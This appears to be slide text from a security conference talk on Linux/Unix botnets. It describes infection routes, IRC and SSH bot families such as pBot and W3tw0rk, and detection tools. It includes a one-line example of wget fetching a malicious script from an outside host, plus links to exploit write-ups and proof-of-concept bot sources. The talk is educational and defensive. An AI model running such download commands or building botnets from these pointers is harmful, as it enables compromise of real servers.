
*nix Botnets do Exist!

- M1xr4t & jay/jetman



“The	Linux	philosophy	is	'Laugh	in	the	face	of	danger'.	Oops.	Wrong	
One.	'Do	it	yourself'.	Yes,	that's	it.”	~	Linus	Torvalds



~	whoami
• >	jay	/	jetman
• ROOTCON	goon
• Former	bug	bounty	hunter	and	acknowledged	in	the	hall	of	fames	of	
Facebook,	Paypal,	Microsoft,	Freelancer.com,	Bugcrowd,	Yahoo,	
Adobe,	etc.
• Credited	for	the	PHP	IRC	Bot	pbot eval()	Remote	Code	Execution	
metasploit module	for	my	PoC analysis	of	the	bot



~	whoami
• >	m1xr4t
• ROOTCON	goon
• Will	be	releasing	his	PoC Bot	today
• Linux	lover



Disclaimer	and	Some	Important	Points

• This topic is not to discourage you to use Linux or Unix (We Love
open source!! LONG LIVE \m/ )
• What we are trying to point out here is that even though
Linux/Unix are considered by its fan boys (like us) as proactively
secure OS/kernel, there is still a way to abuse (seriously, I dunno if
this is the appropriate word) them with botnets for post
exploitation.
• No animals , legit live servers, or person will be harmed or
compromised for this presentation.



What	is	a	botnet?
• A group of inter-connected systems / private network, programs, or
compromised systems that allows a certain user to do automated tasks
(depending on the source)
• An example of a legal bot is an eggdrop which is an IRC bot
• Can be used to perform DDoS / DoS attacks, mass vulnerability scanning,
mass email spamming, port scanning, etc. (illegal botnets)
• A system that has been infected or compromised by a malware is called a
Zombie computer which can now be controlled by a malicious hacker
• Most common botnets are controlled via IRC, web based GUI, reverse
shell connections, and SSH
• Zeus botnet is an example of a malware and an illegal bot for Windows
that steals your private information like login credentials, banking
information, keystrokes, etc.



*nix	Botnets	VS	Weeniedos
Bots



Why	run	a	Botnet	on	*nix



How	can*nix	Botnets	exist?
• A website is hacked then backdoored via a backdoor shell then the
script is run……



How	can	*nix	Botnets	exist?
• You downloaded an obfuscated perl/python from an unknown
source by using ‘wget youporn.com/newscandal.pl’ in your terminal
• Then executed the script and thought that it will have some good
features



How	can	*nix	Botnets	exist?
• Root a *nix box / VPS then boooom!



Meet	W3tw0rk,	Wewo,Pitbul,	
pBot,	and	other	botnets	on	the	

block	(samples)



W3tw0rk	Bot



W3tw0rk	Bot



Mass	Private	Scanner	Bot

Reference:	http://mirc-coding.blogspot.com/2013/05/masscanner-2013-multiscan-2013-timthumb.html



Mass	Private	Scanner	Bot
BUT LOL, I found a similar source (but without the WHMCS and
TimThumb scanner) for this bot in:
http://www.exploit-id.com/remote-exploits/stun-private-scanner-mirc-
bot



pBot
• an IRC Bot coded in PHP that has similar functions to a backdoor shell
and with stress testing functions
• My first encounter with the script of pBot was in pastebin then next is
from a hacked website that I was cleaning for backdoors and botnets
• Have been ripped and recoded by a lot of DDosers
• Has a connect back function
• A metasploit module has been published for screwing this bot



Timthumb Private	Scanner	Bot
• Released	in	2011
• Ripped	and	modified	by	some	Indonesian	hackers	
• Reference	for	the	TimThumb Vulnerability:	http://www.exploit-
db.com/wordpress-timthumb-exploitation/
• A	perl IRC	bot	that	rapes	timthumb.php/thumb.php for	remote	code	
execution
• Used	as	a	mass	scanning	tool



Mass	SSH	Botnet
• Can	be	used	for	controlling	hosts	which	you	have	compromised	or	
you	own
• There	are	a	lot	of	mass	ssh botnets	available	in	Github today	just	like	
Raidersec’s Bot:	http://raidersec.blogspot.com/2013/07/building-ssh-
botnet-c-using-python-and.html - uses	Python	and	Fabric	library
• Most	of	the	ssh botnets	use	pxssh Python	library
• In	Violent	Python	Cookbook,	there	is	a	chapter	dedicated	to	writing	
your	own	SSH	Botnet	from	scratch
• My	very	own	PoC Bot:	
https://github.com/shipcod3/commandsshbotnet



New	IRC	PoC Bot	– medz



Detection	and	Hunting	
Malicious	Botnets

• You	can	use	tools	like	Chkrootkit,	Bothunter,	ClamAv,	Rkhunter,	avast!	
Linux	Home	edition,	etc.	
• Use	monitoring	tools	in	Linux/Unix	like	netstat,	ps,	Snort,	wireshark,	
etc.
• But	the	most	effective	is	by	grepping malicious	functions	used	by	
botnets:
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QUESTIONs


